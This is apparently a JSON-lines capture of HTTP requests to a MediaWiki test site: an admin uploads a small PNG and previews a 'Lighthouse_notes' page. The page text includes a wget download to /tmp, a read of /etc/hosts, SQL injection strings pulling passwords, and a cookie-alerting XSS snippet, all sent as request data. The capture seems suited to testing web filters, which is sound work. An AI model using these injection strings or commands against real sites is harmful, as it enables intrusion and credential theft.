{"method": "POST", "target": "/wiki/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKLskNzhkAu9rYahb", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794254450%23153252fac0b4fff55405e90957449430; UseDC=master"], "body": "------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"pic.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\ufffd\ufffd\ufffd\u0000\u0000\u0003\u0001\u0001\u0000\ufffd\ufffd\ufffd\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nPic python3.png\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for python3, powershell, ls -la and .htaccess notes\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryKLskNzhkAu9rYahb--\r\n"}
{"method": "GET", "target": "/wiki/File:Pic_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png?_=20261109200050", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/File:Pic_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.action/images/checker.svg?ff513", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=1e44643bf316cfdeb7476623a1042ab96af22672%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQ8uGGBD9y406eaI", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=bzxdy", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/jquery.tablesorter.styles/images/sort_both.svg?0e440", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGNPKGFIkEp6MCBZL", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.diff.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
